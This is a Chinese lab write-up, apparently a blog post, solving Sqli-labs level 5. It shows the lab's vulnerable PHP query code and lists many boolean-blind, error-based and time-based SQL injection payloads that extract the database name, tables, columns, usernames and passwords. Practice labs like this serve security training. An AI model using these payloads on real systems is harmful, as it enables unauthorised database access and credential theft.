第五关(双注入GET单引号字符型注入-报错时间注入)

盲注
盲注,Blind SQL Injection
基于布尔SQL盲注
基于时间的SQL盲注
基于报错的SQL盲注

核心代码:(不会返回数据库中的数据)

 1 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
2 $result=mysql_query($sql);
3 $row = mysql_fetch_array($result);
4 if($row)
5 {
6 echo '<font size="5" color="#FFFF00">';
7 echo 'You are in...........';
8 echo "<br>";
9 echo "</font>";
10 }
11 else
12 {
13
14 echo '<font size="3" color="#FFFF00">';
15 print_r(mysql_error());
16 echo "</br></font>";
17 echo '<font color= "#0000ff" font size= 3>';
18
19 }
20 }
21 else { echo "Please input the ID as parameter with numeric value";}
 1 1.探测PHP版本号
2 id=1' and left(version(),1)=5%23
3
4 2.探测数据库长度
5 id=1' and length(database())=8%23
6 探测数据库名(采用二分法)
7 id=1' and left(database(),1)>'a'%23
8 id=1' and left(database(),1)='s'%23
9 id=1' and left(database(),2)>'se'%23
10 id=1' and left(database(),2)='se'%23
11 id=1' and left(database(),3)>'sec'%23
12 id=1' and left(database(),3)='sec'%23
13 ........
14 id=1' and left(database(),8)='security'%23
15
16
17 3.获取表名
18 substr() ascii()函数进行尝试
19 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>82%23
20 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101%23
21 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109%23
22 ...
23 逐步测试得出表名为:email
24 想获取第二个表替换limit 后面的值即可第二张表就是limit 1,1
25 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=113%23
26
27
28 4.获取urser中的列
29 利用regexp获取
30 通过regexp检测是否有us**列
31 id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+'
32 通过regexp检测而是否有username开头的列
33 id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
34
35 5.获取列中的内容
36 利用ord()和mid()函数获取users表的内容
37 IFNULL()用于判断第一个表达式是否为NULL 如果是返回第二个 否则返回第一个
38 CAST()把一个字段转成另一个字段
39 id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>68--+
40 id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+
41 id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>68--+
42 id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),2,1))=68--+
43 最后爆出 Dumb

第二种方法:报错注入

 1 id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
2
3 数值类型超出范围进行报错注入
4 id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+
5
6 利用bigint溢出进行报错注入
7 id=1' union select (!(select * from (select user())x) - ~0),2,3--+
8
9 xpath函数报错注入
10 id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
11
12 id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
13
14 利用数据的重复性
15 id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

第三种:sleep延迟注入

sleep注入是另一种形式的盲注,与bool注入不同,sleep注入没有任何报错信息输出,页面返回不管对或者错都是一种状态,
攻击者无法通过页面返回状态来判断输入的SQL注入测试语句是否正确,只能通过构造sleep注入的SQL测试语句,根据页面的返回时间判断数据库中存储了那些信息
判断是否是时间延迟型的注入

 1 ' and sleep(5)--+
2 爆数据库长度
3 ' and if(length(database())=8,sleep(5),1)--+
4 爆数据库名
5 ' and if(ascii(substr(database(),1,1))>5,sleep(5),1)--+
6 OR
7 ' and if(left(database(),1)='s',sleep(5),1)--+
8 爆判断数据库表数量
9 ' and if((select count(*) from information_schema.tables where table_schema=database())>1,sleep(5),1)--+
10 爆表名
11 ' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r',sleep(5),1)--+
12 OR
13 ' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+
14 ' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='e' --+
15 判断字段数量
16 ' and if((select count(*) from information_schema.columns where table_name='users')>1,sleep(5),1)--+
17 判断字段名
18 ' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),1)='f'--+
19 爆字段下的数据
20 ' and left((select password from users limit 0,1),1)='D' --+

附:ASCII转换:https://www.qqxiuzi.cn/bianma/ascii.htm
参考学习:https://www.cnblogs.com/lcamry/articles/5717442.html
https://www.cnblogs.com/lcamry/p/6122257.html

重闯Sqli-labs关卡第二天(5关)的更多相关文章

  1. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  2. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  3. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  4. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  5. SQL注入之Sqli-labs系列第二十九关(基于WAF防护的单引号报错注入)

    开始挑战第二十九关(Protection with WAF) 0x1查看源码 (1)login.php页面存在防护,只要检测到存在问题就跳转到hacked.php页面(其他信息看备注) 0x2 for ...

  6. SQL注入之Sqli-labs系列第二十八关(过滤空格、注释符、union select)和第二十八A关

    开始挑战第二十八关(Trick with SELECT & UNION) 第二十八A关(Trick with SELECT & UNION) 0x1看看源代码 (1)与27关一样,只是 ...

  7. SQL注入之Sqli-labs系列第二十六关(过滤空格、注释符、逻辑运算符注入)和第二十六A

    开始挑战第二十六关(Trick with comments and space) 0x1看看源代码 (1)过滤了#  or and  /**/  /  \ ,通过判断也过滤了空格 (2)这样一来只能看 ...

  8. SQL注入之Sqli-labs系列第二十五关(过滤 OR & AND)和第二十五A关(过滤逻辑运算符注释符)

    开始挑战第二十五关(Trick with OR & AND) 第二十五关A(Trick with comments) 0x1先查看源码 (1)这里的or和and采用了i正则匹配,大小写都无法绕 ...

  9. SQL注入之Sqli-labs系列第二十四关(二阶注入)

    开始挑战第二十四关(Second Degree Injections) 0x1 前言 SQL注入一般分为两类:一阶SQL注入(普通SQL注入),二阶SQL注入 .二次注入不是注入两次的意思,请不要混淆 ...

随机推荐

  1. frp 内网穿透远程桌面(Windows 10)配置

    一.服务端配置 服务端需要公网环境,一般用一台云服务器就行了,我选择的是 Linux 服务器,Windows 服务器也是可以的. 下载 frp: wget https://github.com/fat ...

  2. 白话k8s-Pod的组成

    k8s的所有功能都是围绕着Pod进行展开的,我们经常会看到类似这样一张图 告诉我们,Pod是一组container的集合,container之间可以通过localhost:port的方式直接访问. 感 ...

  3. IDEA 半天卡住buid(编译)不动——解决办法(适用于maven及gradle)及定位思路

    [号外号外!] 最终解决办法并不复杂,关键在于"遇见问题,怎么样层层分析,多条路径试错,最终解决问题的思路或者能力"--资深码农的核心竞争力之一 背景 今天结束完最近2个月的一个项 ...

  4. python自定义模块引入报错 pycharm

    1.首先进入settings->python console 选择Add source roots to PYTHONPATH 2.然后将自己工程文件夹mark as source root 3 ...

  5. 学会Git玩转GitHub(第二篇) 入门详解 - 精简归纳

    学会Git玩转GitHub(第二篇) 入门详解 - 精简归纳 JERRY_Z. ~ 2020 / 10 / 25 转载请注明出处!️ 目录 学会Git玩转GitHub(第二篇) 入门详解 - 精简归纳 ...

  6. Java面试题集(一)答案汇总(1-22)

    java基础篇: 1.1.Java基础 (1)面向对象的特性:继承.封装和多态 以下都是查阅大神的博客后,摘录的内容:来源http://www.cnblogs.com/chenssy 1.继承 继承是 ...

  7. Linux文件操作常用命令

    一.一些文件操作命令. 1.cd /home  进入"home目录" 2.cd ../ 返回上一级目录 3.cd -  返回上次所在的目录 4.pwd 显示工程路径 5.ll 显示 ...

  8. java数据结构-12树相关概念

    一.树 1.概念: 包含n(n>=0)个结点的有穷集:树有多个节点(node),用以储存元素.某些节点之间存在一定的关系,用连线表示,连线称为边(edge).边的上端节点称为父节点,下端称为子节 ...

  9. Redis---03Redis事务

    一.Redis事务 1.简述: Redis事务是一个单独的隔离操作:事务中的所有命令都会序列化.按顺序地执行.事务在执行的过程中,不会被其他客户端发送来的命令请求所打断 2.作用: 主要作用就是串联多 ...

  10. 关于数据源为授权车辆、企业车辆的判断(限foton)

    int mode = carInfoService.getCompanyCarMode(companyId); public int getCompanyCarMode(Long companyId) ...